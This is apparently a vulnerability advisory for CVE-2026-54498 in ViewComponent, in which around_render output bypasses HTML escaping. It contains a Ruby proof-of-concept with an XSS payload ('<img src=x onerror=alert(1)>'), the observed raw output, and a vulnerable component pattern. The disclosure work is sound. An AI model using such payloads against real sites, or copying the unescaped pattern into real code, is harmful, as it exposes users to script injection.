CVE-2026-54498

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

• Repository commit: eea79445
• Ruby: 3.4.9

Relevant locations:

• lib/view_component/base.rb
  • render_in
  • around_render
  • __vc_maybe_escape_html
• lib/view_component/template.rb
  • InlineCall#safe_method_name_call
• lib/view_component/collection.rb
  • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end

# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end

# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

• #call returning unsafe string: escaped
• #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=<img src=x onerror=alert(1)>
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end

If message is user-controlled, scriptable HTML reaches the browser.

Preconditions

• The application defines or uses a component overriding around_render.
• around_render returns or wraps attacker-influenced HTML-unsafe content.
• The component is rendered in a browser-visible response.
• Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

• preview routes or examples that accept URL parameters and render components
• unsafe markdown or CMS content rendered inside around_render
• CSP-disabled preview routes
• applications that expose admin-only pages containing affected components